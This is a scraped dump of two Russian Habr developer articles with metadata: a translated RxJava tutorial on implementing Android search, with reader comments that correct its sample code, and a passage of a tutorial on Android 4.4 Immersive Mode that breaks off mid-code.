но пользователь в это время вводит «abc». Результат для «ab» больше не нужен, нужен только результат для «abc». SwitchMap спешит на помощь. Он передает дальше результаты только последнего запроса, игнорируя остальные. Javadoc описывает `switchMap` следующим образом: Возвращает новый `Observable`, применяя переданную функцию для каждого полученного элемента `Observable`, но передавая далее элементы, созданные только последним полученным `Observable`. Мы сделали это! Только представьте насколько было бы сложно реализовать поиск без RxJava. Если вы хотите рассмотреть полный пример, то взгляните на следующий проект.
<div xmlns="http://www.w3.org/1999/xhtml">В данной статье будет рассмотрена оптимальная и компактная реализация поиска с использованием RxJava для Android, отсеивающая ненужные результаты и уменьшающая количество бесполезных сетевых вызовов.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/674/a2f/486/674a2f486dd8a4b265e7b8e3bf68d0cf.png" alt="Пример поиска" data-src="https://habrastorage.org/getpro/habr/post_images/674/a2f/486/674a2f486dd8a4b265e7b8e3bf68d0cf.png"/><br/> Оригинал написан 16 октября 2017. Перевод вольный.<br/> <a name="habracut"></a><br/> В настоящее время большинство приложений, которые мы ежедневно используем, предоставляют возможность быстрого поиска. Поэтому реализация поиска — важная задача. Нам же, как разработчикам, важно реализовать поиск лучшим путем.<br/> <br/> Рассмотрим как реализовать поиск лучшим способом с использованием RxJava. <b>Не забывайте, в RxJava есть операторы для всего</b>.<br/> <br/> Лично я верю, что можно решить любую проблему очень легко с использованием RxJava, что может оказаться очень сложным без RxJava. RxJava прекрасная технология.<br/> <br/> Взгляните на элементы RxJava, которые мы будем использовать для реализации поиска:<br/> <br/> <ul> <li><b>Publish Subject:</b> Если вы не сталкивались с этим оператором, то взгляните на <a href="https://blog.mindorks.com/understanding-rxjava-subject-publish-replay-behavior-and-async-subject-224d663d452f">эту статью</a></li> <li><b>Filter</b></li> <li><b>Debounce</b></li> <li><b>DistinctUntilChanged</b></li> <li><b>SwitchMap</b></li> </ul><br/> <h2>Начнем</h2><br/> Сначала нужно сделать SearchView observable. Сделаем его с использованием PublishSubject. Я использую SearchView из Android. View может быть любым, с функционалом как у EditText. Для реализации observable нужно реализовать listener для изменения текста в поле.<br/> <br/> <pre><code class="java">public class RxSearchObservable { public static Observable&lt;String> fromView(SearchView searchView) { final PublishSubject&lt;String> subject = PublishSubject.create(); searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @Override public boolean onQueryTextSubmit(String s) { subject.onComplete(); return true; } @Override public boolean onQueryTextChange(String text) { subject.onNext(text); return true; } }); return subject; } </code></pre><blockquote>Замечание от <a href="https://habrahabr.ru/users/constorvar/" class="user_link">ConstOrVar</a>: <br/> Observable для SearchView будет не совсем корректно работать. Вы на него подписываетесь в onCreate(), но при срабатывании onQueryTextSubmit() произойдет отписка, так как вызовется onComplete. Получается, что повторный поиск не будет работать. Чтобы повторный поиск работал, нужно избавиться от subject.onComplete();<br/> </blockquote><blockquote>Замечание от <a href="https://habrahabr.ru/users/scrobot/" class="user_link">Scrobot</a> и <a href="https://habrahabr.ru/users/bfs/" class="user_link">BFS</a>:<br/> Не стоит использовать Subject, он существует только для 1 цели: соединять императивный стиль с реактивным. Лучше использовать Observable.create(). Поиск это ровно тот кейс, когда нужно думать о Backpressure, а поскольку практически все сегодня используют RxJava2, то там эта проблема решена с помощью Flowable, и лучше этот кейс зарефакторить на него.<br/> </blockquote>Далее необходимо вызвать созданный метод и добавить вызовы операторов, как в примере ниже.<br/> <br/> <pre><code class="java">RxSearchObservable.fromView(searchView) .debounce(300, TimeUnit.MILLISECONDS) .filter(new Predicate&lt;String>() { @Override public boolean test(String text) throws Exception { if (text.isEmpty()) { return false; } else { return true; } } }) .distinctUntilChanged() .switchMap(new Function&lt;String, ObservableSource&lt;String>>() { @Override public ObservableSource&lt;String> apply(String query) throws Exception { return dataFromNetwork(query); } }) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new Consumer&lt;String>() { @Override public void accept(String result) throws Exception { textViewResult.setText(result); } }); </code></pre><br/> <b>Теперь обсудим почему используются именно эти операторы и как они работают вместе</b>.<br/> <br/> <h3>Debounce</h3><br/> Этому оператору передаются параметры времени. В данном случае он отлавливает события ввода пользователем текста, например, «a», «ab», «abc». Ввод часто происходит очень быстро и это чревато большим количеством сетевых вызовов. Но пользователь обычно заинтересован только в результатах для «abc». Итак, нужно отбросить выполнение запросов для «a», «ab». Оператор debounce спешит на помощь. Он ожидает бездействия пользователя в течение переданного в параметре времени. Если во время ожидания будет осуществлен какой-либо ввод, то счётчик ожидания сбросится, отсчет начнется заново, предыдущий переданный результат, например, «a» будет отброшен. Таким образом, оператор debounce передает дальше по цепочке только те элементы, которые продержались без вызова новых событий в течение указанного времени ожидания.<br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/f46/0e7/1d1/f460e71d1bbdd51dd0e5414d268c0761.png" alt="debounce example image" data-src="https://habrastorage.org/getpro/habr/post_images/f46/0e7/1d1/f460e71d1bbdd51dd0e5414d268c0761.png"/><br/> <br/> <h3>Filter</h3><br/> Данный оператор используется для отсеивания нежелательных строк, например, пустой строки, чтобы избежать ненужных сетевых вызовов.<br/> <br/> <h3>DistinctUntilChanged</h3><br/> Данный оператор используется для того, чтобы избежать дублирования сетевых вызовов. Например, последний поисковой запрос был «abc», затем пользователь удалил «c» и заново ввел «c». Результат снова «abc». Если сетевой вызов уже в процессе с тем же параметром, то оператор distinctUntilChanged не даст осуществить аналогичный вызов повторно. Таким образом, оператор distinctUntilChanged отсеивает повторяющиеся <b>последовательно</b> переданные ему элементы.<br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/f6d/1bf/a65/f6d1bfa65fe9c957bd1987a27916e523.png" alt="distinctUntilChanged example image" data-src="https://habrastorage.org/getpro/habr/post_images/f6d/1bf/a65/f6d1bfa65fe9c957bd1987a27916e523.png"/><br/> <br/> <h3>SwitchMap</h3><br/> В данном примере этот оператор используется для исключения сетевых вызовов, результаты которых больше не нужно показывать пользователю. Например, последним поисковым запросом был «ab» и есть работающий сетевой вызов для этого запроса, но пользователь в это время вводит «abc». Результат для «ab» больше не нужен, нужен только результат для «abc». SwitchMap спешит на помощь. Он передает дальше результаты только последнего запроса, игнорируя остальные.<br/> <br/> Javadoc описывает <code>switchMap</code> следующим образом:<br/> <br/> <i>Возвращает новый <code>Observable</code>, применяя переданную функцию для каждого полученного элемента <code>Observable</code>, но передавая далее элементы, созданные только последним полученным <code>Observable</code>.</i><br/> <br/> <b>Мы сделали это!</b> Только представьте насколько было бы сложно реализовать поиск без RxJava.<br/> <br/> Если вы хотите рассмотреть полный пример, то взгляните на следующий <a href="https://github.com/amitshekhariitbhu/RxJava2-Android-Samples">проект</a>.</div>
Andrei (umpteenthdev)
Amit Shekhar
https://blog.mindorks.com/implement-search-using-rxjava-operators-c8882b64fe1d
В данной статье будет рассмотрена оптимальная и компактная реализация поиска с использованием RxJava для Android, отсеивающая ненужные результаты и уменьшающая количество бесполезных сетевых вызовов.<br> <br> <img src="https://habrastorage.org/getpro/habr/post_images/674/a2f/486/674a2f486dd8a4b265e7b8e3bf68d0cf.png" alt="Пример поиска"><br> Оригинал написан 16 октября 2017. Перевод вольный.<br>
В данной статье будет рассмотрена оптимальная и компактная реализация поиска с использованием RxJava для Android, отсеивающая ненужные результаты и уменьшающая количество бесполезных сетевых вызовов. Оригинал написан 16 октября 2017. Перевод вольный.
article
1,513,901,851
{ "commentsCount": 13, "favoritesCount": 82, "readingCount": 18399, "score": 6, "votesCount": 8, "votesCountPlus": 7, "votesCountMinus": 1 }
[ "translation" ]
[ "java", "android_dev" ]
[ "develop" ]
[ "Перевод", "RxJava", "Search", "Android", "Java" ]
4
tutorial
null
{ "id": [ 10581364, 10581504, 10582540, 10582624, 10582626, 10582648, 10583192, 10583256, 10583266, 10583910, 10584046, 10586432, 10586620 ], "parent_id": [ null, 10581364, null, 10582540, null, 10582626, null, null, 10583256, 10583266, 10583910, null, 10586432 ], "level": [ 0, 1, 0, 1, 0, 1, 0, 0, 1, 2, 3, 0, 1 ], "time_published": [ 1513934406, 1513937654, 1513975546, 1513995714, 1513999149, 1514005363, 1514068195, 1514090165, 1514090728, 1514151191, 1514182006, 1514285207, 1514289344 ], "score": [ 2, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 2, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за статью. В Вашем примере <code>Observable</code> для <code>SearchView</code> будет не совсем корректно работать. Вы на него подписываетесь в <code>onCreate()</code>, но при срабатывании <code>onQueryTextSubmit</code> у Вас произойдет отписка, так как вызовется <code>onComplete</code>. Получается, что повторный поиск не будет работать. Чтобы повторный поиск работал, нужно избавиться от <code>subject.onComplete();</code></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за замечание. Согласен с этим, добавил информацию в статью.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В целом, использование subject может вести к неочевидным проблемам. Для создания я бы порекомендовал росмотреть на Observable.create, тем более, что там есть emitter, которому можно установить действие при завершении (полезно чтобы снять TextWatcher) например. Здесь, впрочем, появится нюанс: нужно будет правильно переключить потоки, чтобы тело create выполнилось на главном потоке.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это перевод статьи, поэтому правки я не вносил в содержание. Но хотелось бы понять о каких конкретно возможных неочевидных проблемах идет речь?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Присоеднюсь к <a href=\"https://habrahabr.ru/users/bfs/\" class=\"user_link\">BFS</a>, не стоит использовать Subject, он существует только для 1 цели: соединять императивный стиль с реактивным. По сути, он только для легаси подходит. Поэтому, да, лучше Observable.create(). Для подробностей посмотрите доклад Матвея Малькова — Art Of Rx, учитывая что вы андроид разработчик, вам это будет полезно)<br/>\r\nИ второй момент, поиск это ровно тот кейс, когда нужно думать о Backpressure, а поскольку практически все сегодня используют Rx2, то там эта проблема решена с помощью Flowable, и лучше этот кейс зарефакторить на него.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за рекомендацию доклада. Добавлю ваше замечание к статье.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, отличная статья, а еще лучше комментарии ).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не являюсь android-разработчиком, но по-моему из-за <code>subscribeOn(Schedulers.io())</code> установка listener-а на поле ввода будет происходить не в главном потоке</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насколько я знаю, <code>subscribeOn()</code> указывает в какой поток наблюдаемый источник (в нашем случае <code>subject</code> внутри <code>listener</code> поля ввода) будет передавать создаваемые observable элементы. То есть событие происходит в UI потоке, затем его отлавливает <code>listener</code> в этом же потоке, далее <code>subject</code> внутри listener создаёт событие (<code>onNext()</code>), а возвращаемый observable элемент уже попадает в поток IO.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне почему-то кажется что прав <a href=\"https://habrahabr.ru/users/kpcb/\" class=\"user_link\">kpcb</a>. <br/>\r\nsubscribeOn указывает поток в котором будет происходить подписка. И во время подписки вы создаете слушатель.<br/>\r\nСлушатель в UI потоке будет дергать subject.onNext(). и возвращаемый observable будет тоже получать событие в UI потоке.<br/>\r\nНо дальше у вас идет метод debounce. Это особенный метод, который возвращает observable, события которого будут производиться в computation sheduler. (Scheduler можно изменить — посмотрите перегрузку метода debounce).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проверил. <code>Subject.onNext()</code> отрабатывает в UI потоке, а <code>Debounce()</code> уже в Computation. Спасибо за внимательность.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Скажите а вам не надоело пользоваться анонимными классами? На дворе вроде конец 2017 и даже андроид уже более или менее из коробки поддерживает ламбда функции.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я бы тоже воспользовался лямбдами и/или ссылками на методы, а использование if для возврата булево значения — бредовая идея. Но это перевод и поэтому я не стал лезть в пример кода автора оригинала.</div>" ], "message_markdown": [ "Спасибо за статью. В Вашем примере `Observable` для `SearchView` будет не совсем корректно работать. Вы на него подписываетесь в `onCreate()`, но при срабатывании `onQueryTextSubmit` у Вас произойдет отписка, так как вызовется `onComplete`. Получается, что повторный поиск не будет работать. Чтобы повторный поиск работал, нужно избавиться от `subject.onComplete();`", "Спасибо за замечание. Согласен с этим, добавил информацию в статью.", "В целом, использование subject может вести к неочевидным проблемам. Для создания я бы порекомендовал росмотреть на Observable.create, тем более, что там есть emitter, которому можно установить действие при завершении (полезно чтобы снять TextWatcher) например. Здесь, впрочем, появится нюанс: нужно будет правильно переключить потоки, чтобы тело create выполнилось на главном потоке.", "Это перевод статьи, поэтому правки я не вносил в содержание. Но хотелось бы понять о каких конкретно возможных неочевидных проблемах идет речь?", "Присоеднюсь к BFS, не стоит использовать Subject, он существует только для 1 цели: соединять императивный стиль с реактивным. По сути, он только для легаси подходит. Поэтому, да, лучше Observable.create(). Для подробностей посмотрите доклад Матвея Малькова — Art Of Rx, учитывая что вы андроид разработчик, вам это будет полезно)\nИ второй момент, поиск это ровно тот кейс, когда нужно думать о Backpressure, а поскольку практически все сегодня используют Rx2, то там эта проблема решена с помощью Flowable, и лучше этот кейс зарефакторить на него.", "Спасибо за рекомендацию доклада. Добавлю ваше замечание к статье.", "Спасибо, отличная статья, а еще лучше комментарии ).", "Не являюсь android-разработчиком, но по-моему из-за `subscribeOn(Schedulers.io())` установка listener-а на поле ввода будет происходить не в главном потоке", "Насколько я знаю, `subscribeOn()` указывает в какой поток наблюдаемый источник (в нашем случае `subject` внутри `listener` поля ввода) будет передавать создаваемые observable элементы. То есть событие происходит в UI потоке, затем его отлавливает `listener` в этом же потоке, далее `subject` внутри listener создаёт событие (`onNext()`), а возвращаемый observable элемент уже попадает в поток IO.", "Мне почему-то кажется что прав kpcb.\nsubscribeOn указывает поток в котором будет происходить подписка. И во время подписки вы создаете слушатель.\nСлушатель в UI потоке будет дергать subject.onNext(). и возвращаемый observable будет тоже получать событие в UI потоке.\nНо дальше у вас идет метод debounce. Это особенный метод, который возвращает observable, события которого будут производиться в computation sheduler. (Scheduler можно изменить — посмотрите перегрузку метода debounce).", "Проверил. `Subject.onNext()` отрабатывает в UI потоке, а `Debounce()` уже в Computation. Спасибо за внимательность.", "Скажите а вам не надоело пользоваться анонимными классами? На дворе вроде конец 2017 и даже андроид уже более или менее из коробки поддерживает ламбда функции.", "Я бы тоже воспользовался лямбдами и/или ссылками на методы, а использование if для возврата булево значения — бредовая идея. Но это перевод и поэтому я не стал лезть в пример кода автора оригинала." ], "author": [ "Константин (ConstOrVar)", "Andrei (umpteenthdev)", "Константин (BFS)", "Andrei (umpteenthdev)", "Алексей Скробот (Scrobot)", "Andrei (umpteenthdev)", "dmlukas", "Крупов Сергей (kpcb)", "Andrei (umpteenthdev)", "HotIceCream", "Andrei (umpteenthdev)", "Victor (vba)", "Andrei (umpteenthdev)" ], "children": [ [ 10581504 ], [], [ 10582624 ], [], [ 10582648 ], [], [], [ 10583266 ], [ 10583910 ], [ 10584046 ], [], [ 10586620 ], [] ] }
200,874
ru
https://habr.com/ru/post/200874/
Immersive Mode (режим погружения) в Android 4.4 KitKat
31 октября 2013 года Google представили новую версию ОС Android 4.4 KitKat, в которой появилось очень много интересных функций для разработчиков. Одна из этих функций — Immersive Mode (режим погружения). Режим погружения — это режим, в котором ваша программа показывается пользователю на весь экран, при этом не видны любые системные панели, в том числе и панель навигации (та, что с кнопкой Back). До Android 4.4 была также возможность скрывать системные панели (панель навигации и панель статуса). Но в существующем варианте был один недостаток — пользователь не мог полностью погрузится в контент, так как любое нажатие на контент снова вызывало отображение системных панелей. Новый режим погружения добавляет еще один способ взаимодействия с отображением системных панелей. В этом режиме, чтобы отобразить системные панели пользователю достаточно сделать свайп от верхнего или нижнего края экрана по направлению к центру экрана, при этом отображение панелей по нажатию на контент делать необязательно, тем самым можно создавать приложения и игры, в которых пользователь может полноценно взаимодействовать с приложением или игрой любыми жестами. Чтобы пользователь понял, как вызвать системные панели из полноэкранного режима, при первом запуске приложения ему автоматически покажется системное сообщение о том, как снова отобразить эти панели на экране. Также вы могли подумать, что есть другая проблема использования этого режима. Например, пользователь запустил программу для рисования и хочет нарисовать линию от края экрана и как же так, неужели ему в этом случае отобразится системная панель. Да, но при этом приложение также будет получать сообщения от нажатий на экран и будет рисовать линию. Кстати, теперь можно просто сделать системные панели полупрозрачными с помощью двух новых тем — Theme.Holo.NoActionBar.TranslucentDecor и Theme.Holo.Light.NoActionBar.TranslucentDecor. Но стоит помнить, что в этом случае ваш контент будет занимать всю область на экране и будет видим даже за полупрозрачными системными панелями. Если вам необходимо, чтобы какая-та часть интерфейса не заезжала за пределы системных панелей (например, какие-то дополнительные панели), вам необходимо указать для родительского layout этого контента атрибут fitsSystemWindows равным true. Не очень приятная вещь с этими темами в том, что тут используется неполноценная полупрозрачность для панелей, а градиентная (от черного цвета к полупрозрачному), что не всегда выглядит красиво. Если вы создаете свою кастомную тему, вы можете отнаследоваться от этих новых тем, либо добавить вручную два новых свойства windowTranslucentNavigation (прозрачна ли системная панель навигации) и windowTranslucentStatus (прозрачна ли системная панель статуса с часиками). А как же снова попасть в полноэкранный режим, когда панели уже отображаются? У пользователя есть несколько вариантов — нажать на любой контент вне системных панелей, подождать некоторое время, чтобы панели скрылись автоматически, или сделать свайп от центра экрана к краю. Все эти варианты программист может предусмотреть в своем приложении. Для этого команда Android сделала так, чтобы эти способы взаимодействия с Immersive Mode можно было реализовать очень просто. Есть два типа режима погружения — обычный и sticky («липкий»). В обычном режиме программисту надо самому решать, когда скрывать панели, а в sticky-режиме системные панели будут скрываться автоматически. Для установки обоих типов режима погружения необходимо воспользоваться методом setSystemUiVisibility(), только передать в параметры разные флаги. Вызывать этот метод необходимо у так называемого Decor View, который представляет собой внешний вид окна Activity со всем его оформлением и содержимым. Ссылку на этот View получить очень просто. [code] mDecorView = getWindow().getDecorView(); [/code] Давайте рассмотрим оба типа режима погружения поподробнее. #### Обычный Immersive Mode Для установки обычного режима используется флаг SYSTEM_UI_FLAG_IMMERSIVE в качестве параметра метода setSystemUiVisibility(). Лучше всего для работы с обычным immersive-режимом сделать два простых метода, которые будут показывать и скрывать системные панели соответственно. [code] private void hideSystemUI() { mDecorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LOW_PROFILE | View.SYSTEM_UI_FLAG_IMMERSIVE); } private void showSystemUI() { mDecorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN); } [/code] Для тех случаев, когда показывать и скрывать системные панели вам нужно по нажатию на контент (contentView), необходимо использовать следующий код. Это может пригодится, например, при просмотре видео, как в YouTube, где вам не нужно взаимодействовать с контентом во время его просмотра. [code] contentView.setClickable(true); final GestureDetector clickDetector = new GestureDetector(this, new GestureDetector.SimpleOnGestureListener() { @Override public boolean onSingleTapUp(MotionEvent e) { boolean visible = (mDecorView.getSystemUiVisibility() & View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0; if (visible) { hideSystemUI(); } else { showSystemUI(); } return true; } }); contentView.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View view, MotionEvent motionEvent) { return clickDetector.onTouchEvent(motionEvent); } }); [/code] Если при этом у вас в приложении есть какие-то свои панели (controlsView), которые тоже надо скрыть вместе с системными, вы это также можете просто сделать, написав следующий код. Тут скрытие и появление происходит с использованием анимации альфа-канала и позиции по Y вашей панели. [code] mDecorView.setOnSystemUiVisibilityChangeListener( new View.OnSystemUiVisibilityChangeListener() { @Override public void onSystemUiVisibilityChange(int flags) { boolean visible = (flags & View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0; controlsView.animate() .alpha(visible ? 1 : 0) .translationY(visible ? 0 : controlsView.getHeight()); } }); [/code] Если при запуске приложения вы хотите показать пользователю, что у приложения есть панели, а потом их скрыть через некоторое время, это тоже довольно просто делается. [code] private static final int INITIAL_HIDE_DELAY = 300; @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); delayedHide(INITIAL_HIDE_DELAY); } private final Handler mHideHandler = new Handler() { @Override public void handleMessage(Message msg) { hideSystemUI(); } }; private void delayedHide(int delayMillis) { mHideHandler.removeMessages(0); mHideHandler.sendEmptyMessageDelayed(0, delayMillis); } [/code] Также иногда может потребоваться показывать панель, когда окно получает фокус, например, после возвращения из вызванного диалога. Такой вариант можно обработать следующим кодом. [code] @Override public void onWindowFocusChanged(boolean hasFocus) { super.onWindowFocusChanged(hasFocus); if (hasFocus) { delayedHide(INITIAL_HIDE_DELAY); } else { mHideHandler.removeMessages(0); } } [/code] В этом случае панель покажется и потом исчезнет через заданное вами время. #### Immersive Mode Sticky Для установки sticky-режима используется флаг SYSTEM_UI_FLAG_IMMERSIVE_STICKY в качестве параметра метода setSystemUiVisibility(). Этот режим чрезвычайно прост. Если вам необходима ситуация, при которой системные панели будут скрываться, когда окно получает фокус или проходит некоторое время после появлении панелей, то этот режим для вас. Для включения этого режима вам необходимо установить для окна, когда оно находится в фокусе, флаг SYSTEM_UI_FLAG_IMMERSIVE_STICKY. В этом режиме, если окно теряет фокус, оно автоматически сбрасывается до состояния, в котором окно было до установки флага SYSTEM_UI_FLAG_IMMERSIVE_STICKY, то есть со всеми панелями. Как только окно получает фокус, панели опять исчезают через некоторое время и вам нет нужды программировать эту ситуацию вручную. Чтобы показать системные панели надо также, как и в обычном режиме, сделать свайп от краев экрана. Включение stick-режима делается простым куском кода. [code] @Override public void onWindowFocusChanged(boolean hasFocus) { super.onWindowFocusChanged(hasFocus); if (hasFocus) { mDecorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY); } } [/code] P.S. В статьи использовались материалы видео от Roman Nurik. Код полных примеров от Романа по использованию этого режима можно скачать тут. P.P.S. 20 ноября появилась новая статья в Training Kit по этому режиму. Постараюсь дополнить статью в ближайшее время с учетом и ее.
<div xmlns="http://www.w3.org/1999/xhtml">31 октября 2013 года Google представили новую версию ОС Android 4.4 KitKat, в которой появилось очень много интересных функций для разработчиков. Одна из этих функций — <b>Immersive Mode</b> (режим погружения). Режим погружения — это режим, в котором ваша программа показывается пользователю на весь экран, при этом не видны любые системные панели, в том числе и панель навигации (та, что с кнопкой Back). До Android 4.4 была также возможность скрывать системные панели (<a href="http://developer.android.com/training/system-ui/navigation.html">панель навигации</a> и <a href="http://developer.android.com/training/system-ui/status.html">панель статуса</a>). Но в существующем варианте был один недостаток — пользователь не мог полностью погрузится в контент, так как любое нажатие на контент снова вызывало отображение системных панелей. Новый режим погружения добавляет еще один способ взаимодействия с отображением системных панелей. В этом режиме, чтобы отобразить системные панели пользователю достаточно сделать свайп от верхнего или нижнего края экрана по направлению к центру экрана, при этом отображение панелей по нажатию на контент делать необязательно, тем самым можно создавать приложения и игры, в которых пользователь может полноценно взаимодействовать с приложением или игрой любыми жестами. Чтобы пользователь понял, как вызвать системные панели из полноэкранного режима, при первом запуске приложения ему автоматически покажется системное сообщение о том, как снова отобразить эти панели на экране.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/15a/f16/fa9/15af16fa9fe50a0216e92736d4c92896.png" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/15a/f16/fa9/15af16fa9fe50a0216e92736d4c92896.png"/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/15a/f16/fa9/15af16fa9fe50a0216e92736d4c92896.png" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/15a/f16/fa9/15af16fa9fe50a0216e92736d4c92896.png"/><a name="habracut"></a> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/8f6/801/c63/8f6801c639c5d4277af9095a1767be75.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/8f6/801/c63/8f6801c639c5d4277af9095a1767be75.jpg" data-blurred="true"/><br/> <br/> Также вы могли подумать, что есть другая проблема использования этого режима. Например, пользователь запустил программу для рисования и хочет нарисовать линию от края экрана и как же так, неужели ему в этом случае отобразится системная панель. Да, но при этом приложение также будет получать сообщения от нажатий на экран и будет рисовать линию. Кстати, теперь можно просто сделать системные панели полупрозрачными с помощью двух новых тем — <a href="http://developer.android.com/reference/android/R.style.html#Theme_Holo_NoActionBar_TranslucentDecor">Theme.Holo.NoActionBar.TranslucentDecor</a> и <a href="http://developer.android.com/reference/android/R.style.html#Theme_Holo_Light_NoActionBar_TranslucentDecor">Theme.Holo.Light.NoActionBar.TranslucentDecor</a>. Но стоит помнить, что в этом случае ваш контент будет занимать всю область на экране и будет видим даже за полупрозрачными системными панелями. Если вам необходимо, чтобы какая-та часть интерфейса не заезжала за пределы системных панелей (например, какие-то дополнительные панели), вам необходимо указать для родительского layout этого контента атрибут <a href="http://developer.android.com/reference/android/view/View.html#attr_android:fitsSystemWindows">fitsSystemWindows</a> равным true. Не очень приятная вещь с этими темами в том, что тут используется неполноценная полупрозрачность для панелей, а градиентная (от черного цвета к полупрозрачному), что не всегда выглядит красиво. Если вы создаете свою кастомную тему, вы можете отнаследоваться от этих новых тем, либо добавить вручную два новых свойства <a href="http://developer.android.com/reference/android/R.attr.html#windowTranslucentNavigation">windowTranslucentNavigation</a> (прозрачна ли системная панель навигации) и <a href="http://developer.android.com/reference/android/R.attr.html#windowTranslucentStatus">windowTranslucentStatus</a> (прозрачна ли системная панель статуса с часиками).<br/> <br/> А как же снова попасть в полноэкранный режим, когда панели уже отображаются? У пользователя есть несколько вариантов — нажать на любой контент вне системных панелей, подождать некоторое время, чтобы панели скрылись автоматически, или сделать свайп от центра экрана к краю. Все эти варианты программист может предусмотреть в своем приложении. Для этого команда Android сделала так, чтобы эти способы взаимодействия с Immersive Mode можно было реализовать очень просто. Есть два типа режима погружения — <b>обычный</b> и <b>sticky</b> («липкий»). В обычном режиме программисту надо самому решать, когда скрывать панели, а в sticky-режиме системные панели будут скрываться автоматически. Для установки обоих типов режима погружения необходимо воспользоваться методом <a href="https://developer.android.com/reference/android/view/View.html#setSystemUiVisibility(int)">setSystemUiVisibility()</a>, только передать в параметры разные флаги. Вызывать этот метод необходимо у так называемого Decor View, который представляет собой внешний вид окна Activity со всем его оформлением и содержимым. Ссылку на этот View получить очень просто.<br/> <br/> <pre><code class="java">mDecorView = getWindow().getDecorView(); </code></pre><br/> Давайте рассмотрим оба типа режима погружения поподробнее.<br/> <br/> <h4>Обычный Immersive Mode</h4><br/> Для установки обычного режима используется флаг <a href="https://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_IMMERSIVE">SYSTEM_UI_FLAG_IMMERSIVE</a> в качестве параметра метода <a href="https://developer.android.com/reference/android/view/View.html#setSystemUiVisibility(int)">setSystemUiVisibility()</a>.<br/> <br/> Лучше всего для работы с обычным immersive-режимом сделать два простых метода, которые будут показывать и скрывать системные панели соответственно.<br/> <br/> <pre><code class="java"> private void hideSystemUI() { mDecorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LOW_PROFILE | View.SYSTEM_UI_FLAG_IMMERSIVE); } private void showSystemUI() { mDecorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN); } </code></pre><br/> Для тех случаев, когда показывать и скрывать системные панели вам нужно по нажатию на контент (<b>contentView</b>), необходимо использовать следующий код. Это может пригодится, например, при просмотре видео, как в YouTube, где вам не нужно взаимодействовать с контентом во время его просмотра.<br/> <br/> <pre><code class="java"> contentView.setClickable(true); final GestureDetector clickDetector = new GestureDetector(this, new GestureDetector.SimpleOnGestureListener() { @Override public boolean onSingleTapUp(MotionEvent e) { boolean visible = (mDecorView.getSystemUiVisibility() &amp; View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0; if (visible) { hideSystemUI(); } else { showSystemUI(); } return true; } }); contentView.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View view, MotionEvent motionEvent) { return clickDetector.onTouchEvent(motionEvent); } }); </code></pre><br/> Если при этом у вас в приложении есть какие-то свои панели (<b>controlsView</b>), которые тоже надо скрыть вместе с системными, вы это также можете просто сделать, написав следующий код. Тут скрытие и появление происходит с использованием анимации альфа-канала и позиции по Y вашей панели.<br/> <br/> <pre><code class="java"> mDecorView.setOnSystemUiVisibilityChangeListener( new View.OnSystemUiVisibilityChangeListener() { @Override public void onSystemUiVisibilityChange(int flags) { boolean visible = (flags &amp; View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0; controlsView.animate() .alpha(visible ? 